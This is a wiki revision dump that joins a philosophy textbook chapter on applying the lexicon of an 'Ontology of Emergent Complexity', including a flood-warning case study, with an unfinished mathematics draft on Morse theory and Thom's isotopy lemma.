Readers are advised to follow the cross-references and to relate each entry to the corresponding sections of the main text. The lexicon is a compressed map of a network; its coherence depends on these internal links. This block should make explicit that apparent redundancies between entries are deliberate overlaps that sustain the network, not loose synonymy.] [6.3.D – Avoiding familiar reductions: psychological, linguistic, or moral readings: This block should warn against three common reductions. First, psychologisation: reading “exposure”, “vulnerability”, or “decision” as inner states of a subject, rather than as configurations of the field. Second, pure linguistic reduction: reading “symbol”, “mark”, or “trace” as merely linguistic units, instead of material structures and operations. Third, moralisation: reading “ethics”, “reorganisation”, or “responsibility” as belonging to a separate moral sphere, instead of as names for symbolic operations on exposure. The block should state that the lexicon systematically refuses these reductions: its terms are designed to describe material configurations and operations, even when they concern ethical and political questions.] [6.3.E – Using the lexicon as an analytical toolkit: This block should propose a concrete way of using the lexicon in practice. For example: when confronted with a phenomenon (a scientific model, an institutional practice, a technical system, a political event), one can ask which operators are most relevant to describe its configuration: what is the field of contact, which couplings stabilise it, where is operational excess concentrated, how are marks and symbols functioning, how is exposure distributed, which decisions reorganise it. The lexicon is thus a set of questions to pose to the real, not only a list of meanings to recall. This block should encourage readers to test the operators on specific cases and to refine their understanding through use.] [6.3.F – Limits and blind spots of the lexicon: This block should acknowledge that any lexicon has limits and blind spots. The choice of key terms is already a decision about what matters, what can be foregrounded, and what remains implicit. This framework emphasises instability, excess, coupling, and symbolic reorganisation; other aspects of the field may be relatively backgrounded. Readers should be attentive to phenomena that resist the available operators, not by forcing them into the lexicon, but by noticing where new terms might be needed. This block must underline that the lexicon does not exhaust the real; it is a provisional, situated toolkit.] [6.3.G – Relation to other reference materials and future revisions: This block should situate the lexicon in relation to external or expanded discussions: theoretical annexes, dedicated essays on specific terms, and dialogues with other traditions. It should explain that the entries here are deliberately compact and functional, while more detailed genealogies, debates, and comparisons belong elsewhere. The block should also make explicit that the lexicon is revisable: terms can be added, refined, or withdrawn as the ontology of emergent complexity develops and as new domains of application are explored. The section should close by inviting readers to treat the lexicon as a living instrument: stable enough to guide thought, open enough to be reworked in light of further work.] {{BookCat}} k4nodfd6swmb6oxf12o9ukyz333e46i 4670763 4670728 2026-09-18T00:16:51Z DavidCota64 3507033 Replace chapter skeleton with a pedagogical, conceptually revised treatment based on the Portuguese source 4670763 wikitext text/x-wiki The lexicon in [[Foundations of the Ontology of Emergent Complexity/6.1 – Key Terms of the OEC|Section 6.1]] is not a list of interchangeable keywords. It is a network of operators. Each term helps the reader perform a distinction, formulate a question, or test an explanation. [[Foundations of the Ontology of Emergent Complexity/6.2 – Ontological Variations|Section 6.2]] has already shown that the range of those operators differs across regimes. This chapter supplies a disciplined method for using them. Guidance is needed because the vocabulary can be made vague in two opposite ways. A reader may reify the terms, treating “field”, “instability”, or “symbol” as hidden things behind appearances. Or the reader may use them metaphorically, applying every term to every case without criteria. The method below avoids both errors. == Learning orientation == By the end of this chapter, the reader should be able to: * read each term through its relations to the others; * apply the symbolic sequence without confusing trace, inscription, mark, and symbol; * separate the real, the concrete, and theory in a case study; * distinguish description, explanation, and ethical evaluation; * identify evidence that would require an analysis to be revised. The guiding question is: '''What work does this operator perform here, and what would show that it has been misapplied?''' == Operators rather than essences == An essence is usually expected to state what something is independently of context. An operator states what a distinction allows an inquiry to do. “Field”, for example, does not name a container holding every entity. It directs attention to the situated relations, constraints, and possible effects relevant to a configuration. “Threshold” does not name an invisible border in reality. It asks which constellation of conditions enables a new operation. Calling the terms operators does not make them arbitrary. Each has three constraints: # a '''definition''' that distinguishes it from neighbouring terms; # '''conditions of application''' that must be demonstrated in a case; # '''failure conditions''' under which the term should be withdrawn or revised. For example, emergence is not established merely because an observer is surprised. A new property, function, or capacity must become operative in the configuration. If the alleged novelty is only a new description of an unchanged capacity, the criterion has not been met. A productive reading therefore replaces “What hidden thing does this word name?” with three questions: “Which distinction does it introduce?”, “What evidence supports that distinction here?”, and “Which confusion does it prevent?” == Read the lexicon as three connected routes == The terms in 6.1 form three principal routes: # '''Instability and operative excess → functional coupling → local order and emergence.''' # '''Material difference → trace → singular inscription → mark + inaugural symbol → later symbolic instances → relations between symbols → symbolic reorganisation.''' # '''Exposure → vulnerability → hesitation → decision → material reorganisation.''' The arrows indicate analytic and functional dependence, not a universal timetable. A case need not instantiate every operator, and the routes are not independent. The first route explains how configurations form and acquire capacities without a prior plan. The second explains how a material difference can become symbolically available to an organised system. The third explains why symbolically mediated intervention has ethical-political consequences. Connections between the routes matter. Operative excess can expose the insufficiency of an established symbolic order. Hesitation may suspend an automatic response while new differences are registered. A decision can reorganise functional couplings and redistribute vulnerability. Reading only one route risks losing these transitions. == The symbolic sequence, step by step == The canonical sequence is: '''material difference → trace → singular inscription → mark + inaugural symbol → later symbolic instances''' Each transition has a precise role. * A '''material difference''' is a process or configuration that exists whether or not a particular system detects it. * A '''trace''' is the ephemeral event in which a system discriminates a new or previously unknown material or energetic configuration, before recognition and inscription. * '''Singular inscription''' is the operation in which that difference is recognised under a protocol and its material configuration is stabilised. * The inscription co-constitutes a '''mark''' and an '''inaugural symbol'''. The mark is the passive, addressable material organisation. The symbol is the materially supported dimension of legibility and representation. * A later occurrence recognised as an instance of the available mark constitutes a '''later symbolic instance'''. It does not create the mark again or repeat the inaugural inscription. * Relations are established between symbols, never between marks. The mark does not interpret, compare, or reorganise. The plus sign in “mark + inaugural symbol” is essential. It blocks the misleading image of a completed mark waiting for a later act of consciousness to animate it. Mark and inaugural symbol are two functional dimensions co-constituted in the same inscription. Their distinction is analytic, not a chronological delay. The sequence should be used only where an organised system, material support, and protocol can be identified. A footprint can be a physical pattern without functioning as a mark for any system. It becomes symbolically operative only within material practices capable of recognition and relation. == A seven-step analytical method == === 1. Delimit the configuration === State what is being analysed, at which spatial, temporal, and organisational scale, and for which question. A field is always a situated selection of relevant relations, not the totality of everything connected to everything else. === 2. Separate the real, the concrete, and theory === Identify the process that exists independently of this inquiry. Then identify the situated portion captured by observation, measurement, testimony, or another material contact: this is the concrete. Finally, identify the symbolic articulation constructed from those inscriptions: this is theory. Do not confuse an unobserved real with an unknowable second world, or a model with the process it models. === 3. Map conditions and couplings === List the relations and constraints that sustain the configuration. Ask which couplings produce its relative consistency, what work they perform, and how their persistence can be tested. This step prevents “local order” from becoming a decorative synonym for structure. === 4. Locate instability and operative excess === Instability is the absence of a final guarantee of persistence. Operative excess is what the present organisation cannot integrate while continuing to operate. They can occur together but are not synonyms. Specify what may change, what exceeds current capacities, and how that excess becomes detectable. === 5. Test thresholds and emergence === Identify the conditions under which a new operation becomes possible. Then demonstrate the new effect. Do not infer emergence solely from complexity, unpredictability, or ignorance. A threshold opens a possibility; it does not guarantee a result or a direction of progress. === 6. Analyse symbolisation where it exists === Name the material difference, trace, protocol, singular inscription, mark, inaugural symbol, and later symbolic instances. If one cannot identify these roles, the analysis should not casually claim symbolisation. Record the material supports and the relations between symbols that guide further operations. === 7. Evaluate reorganisation and exposure === Where a symbolically mediated decision changes the field, ask who or what bears its effects, which vulnerabilities are intensified or reduced, whose capacities for response and repair are maintained, and whether contestation remains possible. A reorganisation can be effective and still be destructive. Complexity is not automatically ethical improvement. The seven steps are iterative. Evidence discovered in step 7 may require the field delimited in step 1 to be widened. A failed prediction may expose a coupling omitted in step 3. Revision is part of the method, not an embarrassment added after failure. == Worked case: an urban flood-warning system == An urban warning system combines hydrological processes, sensors, databases, models, institutions, and public action. # '''Configuration and field.''' The case includes rainfall, waterways, drainage, built surfaces, measuring devices, communication networks, authorities, and affected populations within a stated interval and area. # '''Real and concrete.''' Water flows and infrastructure conditions are real. Sensor readings and field observations capture situated portions of those processes as concrete data under limited resolution. # '''Coupling and local order.''' Sensors, transmission standards, models, staff, and emergency procedures must remain functionally coupled for the warning system to operate. # '''Trace and inscription.''' Suppose the system discriminates an unprecedented pattern for which it has no available mark. That event is a trace. Under a protocol of verification, the difference is singularly inscribed, co-constituting a recoverable mark and an inaugural symbol. # '''Later symbolic instances.''' Later occurrences recognised under the available mark become additional symbols. They can be related to symbols for risk levels, road closures, uncertainty, and evacuation. # '''Operative excess.''' Informal settlements, blocked drains, power loss, or behavioural responses may exceed the current model and procedures. The excess is not simply missing data; it becomes operative when the system must respond beyond what its organisation can integrate. # '''Decision and exposure.''' Issuing, withholding, or targeting a warning redistributes traffic, resources, fear, and physical risk. The decision must be reviewed through unequal vulnerability, access to communication, and capacities for evacuation and repair. The method neither guarantees a correct warning nor replaces hydrology, engineering, or public administration. It reveals where empirical evidence, symbolic organisation, and ethical responsibility meet. == Four reductions to avoid == ;'''Psychologisation''' :Exposure, vulnerability, hesitation, and decision are not primarily inner feelings. They name relational conditions and material operations. Subjective experience can be part of a case, but it does not exhaust the operator. ;'''Linguistification''' :Trace, inscription, mark, and symbol are not restricted to words. They require material support and functional criteria. Conversely, not every physical imprint is already a symbol. ;'''Moralisation''' :Ethical assessment is not a separate sermon appended to a neutral description. Every reorganisation redistributes effects. It is also not automatically justified because it is a reorganisation. The analysis must show what happens to vulnerability, response, repair, heterogeneity, and contestability. ;'''Scale collapse''' :An explanation adequate at one scale does not automatically settle another. Molecular interactions, organismic regulation, institutional rules, and lived consequences can all be relevant without being interchangeable. == How to test and revise an analysis == A useful application of the lexicon should expose itself to correction. Ask: * Are the boundaries and scale of the case explicit? * Is each operator tied to observable or otherwise assessable relations? * Have metaphorical similarities been mistaken for functional equivalence? * Could another reader identify what would count against the interpretation? * Does the account preserve distinctions that matter to affected configurations? * Has new evidence revealed an operative excess that requires a revised vocabulary? The Ontology of Emergent Complexity is a developing framework, not a completed system. Its lexicon is stable enough to coordinate inquiry but remains revisable where phenomena resist its distinctions. A blind spot is not repaired by forcing a case into existing terminology. It is repaired by specifying the failure and, if needed, reorganising the conceptual tools. For definitions, return to [[Foundations of the Ontology of Emergent Complexity/6.1 – Key Terms of the OEC|6.1]]. For the range of application across regimes, return to [[Foundations of the Ontology of Emergent Complexity/6.2 – Ontological Variations|6.2]]. Philosophical interlocutors, conceptual sources, and bibliographic references are gathered in [[Foundations of the Ontology of Emergent Complexity/7.1 – Philosophical Interlocutors|7.1]], [[Foundations of the Ontology of Emergent Complexity/7.2 – Conceptual Sources|7.2]], and [[Foundations of the Ontology of Emergent Complexity/References|7.3]]. == Check your understanding == * Why are the mark and the inaugural symbol co-constituted but not identical? * What would distinguish operative excess from incomplete information in a concrete case? * At which step does description become ethical-political evaluation? * What evidence would make you withdraw the claim that a capacity is emergent? * How can a lexicon remain precise while also remaining revisable? {{BookCat}} 63bikcfdahd7ko7nwpsaobag229vrdb 2 480750 4670701 4670616 2026-09-17T17:15:27Z Dom walden 3209423 /* Step 2 */ 4670701 wikitext text/x-wiki == Introduction == Morse theory tells us that the topology of M only changes at its critical points. The "Morse data" tells us the topology at each critical point. Attaching this Morse data together gives us a space which is homopotically eqivalent to M. This space is a "cell complex", which has an easy to calculate homology. Theorem: Our domain of convergence is homotopic to a cell complex of dimension at most <math display="inline">2n - d - 1</math>.<ref>This is theorem D.23 in Pemantle, Wilson and Melczer 2024, pp. 546. Also theorem in section 1.2*/5.2* in SMT pp. 200.</ref> Proof: # <math display="inline">X</math> is our entire domain, <math display="inline">\mathcal{V}</math> our variety # Project our entire domain to complex projective space <math display="inline">Z = \pi(X) \subset \C\mathbb{P}^n - H</math> [define H] # Define a linear subspace <math display="inline">G \subset \C\mathbb{P}^n</math> of dimension <math display="inline">d - 1</math> # Define a Morse function on <math display="inline">f: \C\mathbb{P}^n \to \R</math> which approximates the distance from <math display="inline">G</math> and such that <math display="inline">f^{-1}(0) = G</math> and <math display="inline">f^{-1}(1) = H</math> # We "build" <math display="inline">X - \mathcal{V}</math> from <math display="inline">\pi^{-1}(G \cap Z) \cap (X - \mathcal{V})</math> by attaching CW complexes at critical points which are of at most dimension <math display="inline">2n - d - 1</math> # At a critical point, the normal Morse data is <math display="inline">(J, K) = \coprod_x (J_x, K_x)</math> and the relative complex link is <math display="inline">\mathcal{L}^\pi = \coprod_x \mathcal{L}_x</math> # We show that the quotient <math display="inline">J_x/K_x</math> is homotopic to a CW complex of dimension <math display="inline">\leq 2n - d - 1</math> # The neighbourhood of <math display="inline">x</math> in <math display="inline">J_x</math> is homeomorphic to the cone in <math display="inline">L_x(X - \mathcal{V})</math>, and removing the point <math display="inline">x</math> increases the homotopy dimension to at most the homotopy dimension of <math display="inline">L_x</math> # <math display="inline">(J_x \cup \{x\}, K_x)</math> is homotopic to <math display="inline">(\text{cone}(\mathcal{L}_x), \mathcal{L}_x)</math> # <math display="inline">\mathcal{L}_x</math> is homotopic to a CW complex of dimension at most <math display="inline">2n - d - 1</math> # The tangential Morse data at the critical point is homotopic to the pair <math display="inline">(D^\lambda, \partial D^\lambda)</math> # Therefore, at each critical point a space has been added homotopic to a CW complex of dimension at most <math display="inline">2n - d - 1</math>. Theorem: If <math display="inline">X</math> is the complement in <math display="inline">\C^n</math> of a complex variety <math display="inline">\mathcal{V}</math> of dimension <math display="inline">d</math> then <math display="inline">X</math> is homotopic to a CW complex of dimension at most <math display="inline">2n - d - 1</math>.<ref>Pemantle, Wilson and Melczer 2024, pp. 546.</ref> Proof: # We build <math display="inline">X</math> by attaching cells of dimension at most <math display="inline">2n - d - 1</math> at each critical point. ## Prove that we can do this without changing the homotopy(?) ## We use Thom's Isotopy Lemma to prove that there is a strong deformation retraction, stopping only at critical points. # Prove these cells are a product of the normal and tangential Morse data. ## Normal data: <math display="inline">(\mathcal{L}(S), \partial \mathcal{L}(S)) \times (D^1, \partial D^1)</math> [GM pp. 18] ## Tangential data: <math display="inline">(B_\delta \cap f^{-1}[v - \epsilon, v + \epsilon], B_\delta \cap f^{-1}(v - \epsilon))</math> for <math display="inline">f</math> restricted to <math display="inline">X</math> (or <math display="inline">\mathcal{V}</math>?) [GM pp. 63-64] # If <math display="inline">k</math> is the dimension of the strata, then ## If <math display="inline">k = d</math> then it is a smooth point and the cell is the product of <math display="inline">S^{2(n-d)-1}</math> and the tangential data is dimension at most <math display="inline">d</math>. ## If <math display="inline">k < d</math>, ... <ref>Pemantle, Wilson and Melczer 2024, pp. 547.</ref> == Example in one dimension == Domain with singularities v_1, v_2, ..., v_i Define our height function f... Start with our entire domain X Reduce from X to X_i+ by using Thom's Isotopy lemma to do a strong deformation retract == Thom's isotopy lemma == We present a modified version of Thom's isotopy lemma, less general than the original but more obviously relevant to our situation. Theorem: Suppose <math display="inline">Z</math> is a closed subset of a smooth manifold <math display="inline">M</math> which admits a Whitney stratification and <math display="inline">h : M \to \R</math> is a proper Morse function which has no critical values on <math display="inline">Z</math>. Then, the level sets of <math display="inline">Z</math> are homeomorphic by a homeomorphism that preserves the strata of <math display="inline">Z</math>.<ref>For various versions of the full statement of the theorem, see Mather 2012, pp. 499, Goresky and MacPherson 1988, pp. 41, or Pemantle, Wilson and Melczer 2024, pp. 541.</ref> Proof: # Construct control data for <math display="inline">Z</math> compatible with <math display="inline">h</math>. ## [Prop 7.1] If <math display="inline">h</math> is smooth on <math display="inline">Z</math> and is a submersion for each strata then there exists a family of control data for <math display="inline">Z</math> compatible with <math display="inline">h</math>.<ref>Mather 2012, pp. 488.</ref> # This makes <math display="inline">Z</math> an abstract stratified set and <math display="inline">f</math> a controlled submersion. # A controlled submersion has, for any smooth vector field on <math display="inline">\R</math>, a controlled vector field on <math display="inline">Z</math> (a "lift"?)<ref>Mather 2012, pp. 493.</ref> # A controlled vector field has a unique one-parameter family of homeomorphisms of <math display="inline">Z</math> which commute with <math display="inline">h</math>.<ref>Mather 2012, pp. 496.</ref> # This makes <math display="inline">h</math> a locally trivial fibration. [Prop 10.2]<ref>Mather 2012, pp. 499.</ref> Control data: A system of '''control data''' for <math display="inline">Z</math> consists of, for each stratum <math display="inline">X</math> of <math display="inline">Z</math>, * a '''tubular neighbourhood''' <math display="inline">T_X</math> of <math display="inline">X</math> * a '''tubular projection function''' <math display="inline">\pi_X: T_X \to X</math>, and * a '''tubular distance function''' <math display="inline">\rho_X: T_X \to \R</math> such that <math display="inline">\rho_X^{-1}(0) = X</math><ref>Goresky and MacPherson 1988, pp. 42.</ref> [illustration] such that if <math display="inline">X < Y</math> are strata in <math display="inline">Z</math>, then <math display="block">\pi_X \pi_Y(m) = \pi_X(m),</math> <math display="block">\rho_X \pi_Y(m) = \rho_X(m)</math> for all <math display="inline">m \in |T_X| \cap |T_Y|</math> such that <math display="inline">\pi_Y(m) \in |T_X|</math>. If, for all strata <math display="inline">X</math> and all <math display="inline">m \in |T_X|</math>, we have <math display="inline">h \pi_X(m) = h(m)</math>, then this control data will be said to be compatible with <math display="inline">h</math>.<ref>Mather 2012, pp. 488.</ref> We prove that if <math display="inline">h</math> is smooth on <math display="inline">Z</math> and is a submersion for each strata then there exists a family of control data for <math display="inline">Z</math> compatible with <math display="inline">h</math>.<ref>Mather 2012, pp. 488, prop 7.1.</ref> Let <math display="inline">Z_k</math> be the union of strata of <math display="inline">Z</math> of dimension less than <math display="inline">k</math>. We prove by induction on <math display="inline">k</math>. To construct the tubular neighbourhood <math display="inline">T_X</math> of a stratum <math display="inline">X</math> of dimension less than <math display="inline">k</math>. For <math display="inline">l \leq k</math>, let <math display="inline">U_l</math> denote the union of all <math display="inline">|T_Y|</math> for <math display="inline">Y < X</math> and <math display="inline">\dim Y \geq l</math>. Let <math display="inline">X_l = U_l \cap X</math>.<ref>Mather 2012, pp. 489.</ref> For <math display="inline">l = k</math>, <math display="inline">X_k = \empty</math>. Assume by induction that <math display="inline">T_{l+1}</math> has been constructed and that if <math display="inline">Y < X</math>, <math display="inline">\dim Y \geq l + 1</math>, <math display="inline">m \in |T_{l+1}| \cap |T_Y|</math> and <math display="inline">\pi_{l+1}(m) \in |T_Y|</math> (<math display="inline">\pi_{l+1} = \pi_{T_{l+1}}</math>) then<ref>Mather 2012, pp. 489-490.</ref> <math display="block">\rho_Y \pi_{l+1}(m) = \rho_Y(m),</math> <math display="block">\pi_Y \pi_{l+1}(m) = \pi_Y(m).</math> We wish to construct a tubular neighbourhood <math display="inline">T_{X,Y}</math> of <math display="inline">|T_Y| \cap X</math> whose restriction to <math display="inline">|T_Y| \cap X_{l+1}</math> is isomorphic to the restriction of <math display="inline">T_{l+1}</math> such that if <math display="inline">m \in |T_{X,Y}| \cap |T_Y|</math> and <math display="inline">\pi_{X,Y}(m) \in |T_Y|</math> (<math display="inline">\pi_{X,Y} = \pi_{T_{X,Y}}</math>) then <math display="block">\rho_Y \pi_{X,Y}(m) = \rho_Y(m),</math> <math display="block">\pi_Y \pi_{X,Y}(m) = \pi_Y(m).</math> By shrinking <math display="inline">|T_Y|</math> if necessary, this relation is already satisfied if <math display="inline">m \in |T_{l+1}| \cap |T_Y|</math> and <math display="inline">\pi_{l+1}(m) \in |T_Y|</math> with <math display="inline">T_{l+1}</math> in place of <math display="inline">T_{X,Y}</math> and <math display="inline">\pi_{l+1}</math> in place of <math display="inline">\pi_{X,Y}</math>. By the definition, if <math display="inline">m \in |T_{l+1}|</math> then there exists <math display="inline">Z < X</math> with <math display="inline">\dim Z > l</math>, <math display="inline">m \in |T_Z|</math> and <math display="inline">\pi_{l+1}(m) \in |T_Z|</math>. We have that <math display="inline">\pi_{l+1}(m) \in |T_Y| \cap |T_Z|</math> and therefore <math display="inline">Y < Z</math>. Therefore<ref>Mather 2012, pp. 490.</ref> <math display="block">\rho_Y \pi_{l+1}(m) = \rho_Y \pi_Z \pi_{l+1}(m) = \rho_Y \pi_Z(m) = \rho_Y(m),</math> <math display="block">\pi_Y \pi_{l+1}(m) = \pi_Y \pi_Z \pi_{l+1}(m) = \pi_Y \pi_Z(m) = \pi_Y(m).</math> We can prove that, by shrinking <math display="inline">|T_Y|</math>, <math display="inline">(\rho_Y, \pi_Y): |T_Y| \cap X \to \R \times Y</math> is a submersion [prop 7.3?] and that <math display="inline">T_{X,Y}</math> is compatible with <math display="inline">(\rho_Y, \pi_Y): |T_Y| \cap X_{l+1} \to \R \times Y</math>, i.e. <math display="inline">(\rho_Y, \pi_Y) \pi_{X,Y}(m) = (\rho_Y, \pi_Y)(m)</math>(?). To prove it is a submersion, for the tubular neighbourhood <math display="inline">T = (E, \epsilon, \psi)</math> there exists a smooth positive function <math display="inline">\epsilon'</math> such that <math display="block">(\rho_T, \pi_T): Y \cap |T|_{\epsilon'}^0 \to \R \times X,</math> where <math display="inline">|T|_{\epsilon'}^0 = \psi(B_\epsilon \cap B_{\epsilon'})</math>, is a submersion. If <math display="inline">\Sigma</math> is the set <math display="inline">y \in |T|</math> such that the rank of <math display="block">(\rho_T, \pi_T): T \cap |T| \to \R \times X</math> at <math display="inline">y</math> is less than <math display="inline">\dim(\R \times X)</math>. We need to prove that for any <math display="inline">x \in X</math> there exists a neighbourhood of <math display="inline">x</math> which does not intersect with <math display="inline">\Sigma</math>, i.e. the map is not a submersion in this neighbourhood. It follows from [lemma 7.2] that it is enough to prove for <math display="inline">M = \R^m</math>, <math display="inline">X = \R^{m-c} \times 0_c</math> and <math display="inline">T</math> is the '''standard tubular neighbourhood'''.<ref>Mather 2012, pp. 489.</ref> By standard tubular neighbourhood, we mean the trivial bundle with base <math display="inline">\R^{m-c}</math> and fibre <math display="inline">\R^c</math> where <math display="inline">\pi: \R^m \to \R^{m-c}</math>...<ref>Mather 2012, pp. 488.</ref> For <math display="inline">y \in |T| - \R^{m-c}</math>, the kernal of the differential of <math display="inline">(\pi_T, \rho_T)</math> at <math display="inline">y</math> is the orthogonal complement of <math display="inline">(\R^{m-c} \times 0_c) \oplus \stackrel{\frown}{y \pi_T(y)}</math> in <math display="inline">\R^m</math>. By the Whitney conditions, we have that for <math display="inline">y</math> near <math display="inline">\R^{m-c}</math>, <math display="inline">(\R^{m-c} \times 0_c) \oplus \stackrel{\frown}{y \pi_T(y)}</math> is close to the set of <math display="inline">m - c + 1</math> planes in <math display="inline">m-</math>space to an <math display="inline">m - c + 1</math> plane in <math display="inline">TY_y</math>. Therefore, for <math display="inline">y</math> near enough to <math display="inline">\R^{m-c}</math>, <math display="inline">TY_y</math> is transverse to the kernal of the differential of <math display="inline">(\pi_T, \rho_T)</math> and, therefore, is a submersion when restricted to <math display="inline">Y</math>.<ref>Mather 2012, pp. 489.</ref> To prove that <math display="inline">T_{X,Y}</math> is compatible with <math display="inline">(\rho_Y, \pi_Y): |T_Y| \cap X_{l+1} \to \R \times Y</math>...<ref>Mather 2012, pp. 490.</ref> Therefore, there exists a tubular neighbourhood <math display="inline">T_0</math> of <math display="inline">X_0</math> satisfying <math display="block">\rho_Y \pi_0(m) = \rho_Y(m),</math> <math display="block">\pi_Y \pi_0(m) = \pi_Y(m).</math> From this we can prove that <math display="inline">T_0</math> is compatible with <math display="inline">h</math>. Replacing <math display="inline">T_0</math> with a smaller tubular neighbourhood if necessary we can assume <math display="inline">m \in |T_0|</math> such that for some <math display="inline">Y < X</math>, <math display="inline">m \in |T_Y|</math> and <math display="inline">\pi_0(m) \in |T_Y|</math>, then<ref>Mather 2012, pp. 490.</ref> <math display="block">h \pi_0(m) = h \pi_Y \pi_0(m) = h \pi_Y(m) = h(m).</math> By the generalised tubular neighourhood theorem [prop 7.2?], we can replace <math display="inline">T_0</math> with a tubular neighbourhood <math display="inline">T</math> of <math display="inline">X</math> compatible with <math display="inline">h</math>. This completes the construction of <math display="inline">T_X</math>.<ref>Mather 2012, pp. 491.</ref> This makes <math display="inline">Z</math> an '''abstract stratified set''' with axioms...<ref>Mather 2012, pp. 491-492.</ref> This also makes <math display="inline">h</math> a '''controlled submersion''' because # <math display="inline">h|X: X \to \R</math> is a smooth submersion on each strata <math display="inline">X</math> of <math display="inline">Z</math>, and # for each stratum <math display="inline">X</math> there is a tubular neighbourhood <math display="inline">T'_X</math> such that <math display="inline">h(v) = h \pi_X(v)</math> for all <math display="inline">v \in T'_X</math>.<ref>Mather 2012, pp. 493.</ref> The core of this is the concept of a '''vector field'''. A vector field is a function which assigns, for each point <math display="inline">p</math> in a space, a '''vector''', which can be represented by an arrow whose tail starts at <math display="inline">p</math>.<ref>Henle 1979, pp. 33.</ref> [picture] Imagine we have a vector field <math display="inline">v(x)</math> defined in a space and draw a line through our space. At each point along this line the vector field assigns a vector. If we move each point in this line along the arrow defined by this vector in the direction of the arrow head. This "flows" the entire line along the vectors. [picture] We define a '''stratified vector field''' <math display="inline">\eta</math> on <math display="inline">Z</math> to be a family of smooth vector fields <math display="inline">\eta_X</math>, one for each strata <math display="inline">X</math> of <math display="inline">Z</math>.<ref>Mather 2012, pp. 493.</ref> We define a '''controlled vector field''' <math display="inline">\eta</math> on <math display="inline">Z</math> to be a stratified vector field such that for any strata <math display="inline">Y</math> there exists a tubular neighbourhood <math display="inline">T'_Y</math> such that for any <math display="inline">X > Y</math> and any <math display="inline">v \in T'_X \cap X</math><ref>Mather 2012, pp. 493.</ref> <math display="block">\eta_X \rho_{Y,X}(v) = 0,</math> <math display="block">(\pi_{Y,X})_* \eta_X(v) = \eta_Y (\pi_{Y,X}(v)).</math> We prove that if <math display="inline">h</math> is a controlled submersion then, for any smooth vector field <math display="inline">\zeta</math> on <math display="inline">\R</math> there is a controlled vector field <math display="inline">\eta</math> on <math display="inline">Z</math> such that <math display="inline">h_* \eta(v) = \zeta(h(v))</math> for all <math display="inline">v \in Z</math>.<ref>Mather 2012, pp. 493.</ref> Proceeding by induction on the maximum dimension of the strata of <math display="inline">Z</math>, we define <math display="inline">Z_k</math> to be the union of strata of <math display="inline">Z</math> of dimension at most <math display="inline">k</math>. The tubular neighbourhood of <math display="inline">Z_k</math> is the intersection of the tubular neighbourhoods of each strata in <math display="inline">Z_k</math> with <math display="inline">Z</math>. The projection and distance functions are the restrictions of the respective functions of <math display="inline">Z</math>. It is trivially true when the maximum dimension of strata in <math display="inline">Z</math> is zero. Assume it is true for <math display="inline">k</math> and construct each <math display="inline">\eta_X</math> separately for each stratum <math display="inline">X</math> of dimension <math display="inline">k + 1</math>. By the assumption that we have controlled vector fields for all strata <math display="inline">Y</math> of dimension at most <math display="inline">k</math>, we have the two control conditions defined above for any <math display="inline">X > Y</math> and that there is a neighbourhood <math display="inline">T^1_Y</math> such that <math display="inline">h(v) = h \pi_Y(v)</math> for <math display="inline">v \in T^1_Y</math>. We want to prove that for all <math display="inline">Y < X</math>, the control conditions are satisfied for all <math display="inline">v \in T^2_Y</math> and that <math display="inline">h_*\eta_X(v) = \zeta(v)</math> for all <math display="inline">v \in X</math>. Take a point <math display="inline">x \in X</math> and define the set <math display="inline">S_v</math> of strata <math display="inline">Y < X</math> such that <math display="inline">v \in T^2_Y</math>. <math display="inline">S_v</math> is totally ordered since if <math display="inline">Y_1</math> and <math display="inline">Y_2</math> are not comparable then <math display="inline">T^2_{Y_1} \cap T^2_{Y_2} = \empty</math>. Therefore, there is a largest member <math display="inline">Y = Y_v</math>. Assume the control conditions hold for <math display="inline">Y = Y_v</math>. Then they hold for all <math display="inline">Y_i \in S_v</math>. For, either <math display="inline">Y_i = Y</math> or <math display="inline">Y_i < Y</math>. In the latter case, <math display="inline">\pi_Y(v) \in T^1_{Y_i}</math> (by the choice of <math display="inline">T^2_Y</math>'s [is this why?]. Then <math display="block">\begin{align} \eta_X(v) \rho_{Y_i,X}(v) &= \eta_X \rho_{Y_i,Y} \pi_{Y,X}(v) \\ &= (\pi_{Y,X})_* \eta_X(v) \rho_{Y_i,Y} \\ &= \eta_Y(\pi_{Y,X}(v)) \rho_{Y_i,Y} \\ &= 0 \end{align}</math> and <math display="block">\begin{align} (\pi_{Y_i,X})_* \eta_X(v) &= (\pi_{Y_i,Y})_* (\pi_{Y,X})_* \eta_X(v) \\ &= (\pi_{Y_i,Y})_* \eta_Y(v) (\pi_{Y,X}) \\ &= \eta_{Y_i}(\pi_{Y_i,Y} \pi_{Y,X}(v)) \\ &= \eta_{Y_i}(\pi_{Y_i,X}(v)) \end{align}</math> and, therefore, condition holds for all <math display="inline">Y_i \in S_v</math>. Also, <math display="block">\begin{align} h_* \eta_X(v) &= (h \circ \pi_{Y,X})_* \eta_X(v) \\ &= h_* \eta_Y (\pi_{Y,X}(v)) \\ &= \zeta(f(v)) \end{align}</math> and, therefore, the conclusion of the theorem holds at <math display="inline">v</math>. This shows we can construct <math display="inline">\eta_X</math> satisfying the control conditions when <math display="inline">S_v</math> is non-empty and satisfying the theorem when <math display="inline">S_v</math> is empty. The set of vectors satisfying these conditions is convex in <math display="inline">TX_v</math>, and so we construct <math display="inline">\eta_X</math> globally via a partition of unity.<ref>Mather 2012, pp. 493-495.</ref> Finally, we prove that a controlled vector field has a unique one-parameter family of homeomorphisms of <math display="inline">Z</math> which commute with <math display="inline">h</math>.<ref>Mather 2012, this combines Proposition 10.1 and Corollary 10.2 on pp. 496 and 497, respectively.</ref> For each stratum <math display="inline">X</math> of <math display="inline">Z</math>, <math display="inline">\eta_X</math> generates a unique smooth local one-parameter group <math display="inline">(J_X, \alpha_X)</math> of diffeomorphisms of <math display="inline">X</math> (by standard results of differential geometry), such that <math display="inline">\frac{d}{dt} \alpha(t, v)|_{t=0} = \eta_X(v)</math>, <math display="inline">J_X</math> is an open subset of <math display="inline">\R \times Z</math>, ... If we define <math display="inline">(J, \alpha)</math> by <math display="block">J = \bigcup_{X \in S} J_X</math> <math display="block">\alpha = \bigcup_{X \in S} \alpha_X</math> we can prove that this is a local one-parameter family of homeomorphisms.<ref>Mather 2012, pp. 496.</ref> Firstly, it is clear that # <math display="inline">0 \times Z \subseteq J</math> and <math display="inline">\alpha(0, v) = v</math> for all <math display="inline">v \in Z</math>. # If <math display="inline">v \in Z</math> then <math display="inline">J_v = J \cap (\R \times v) \subseteq \R</math> is an open interval <math display="inline">(a_v, b_v)</math>, possibly infinite at one or both ends. # If <math display="inline">v \in Z</math> and <math display="inline">t, s, t + s</math> are in <math display="inline">(a_v, b_v)</math> then 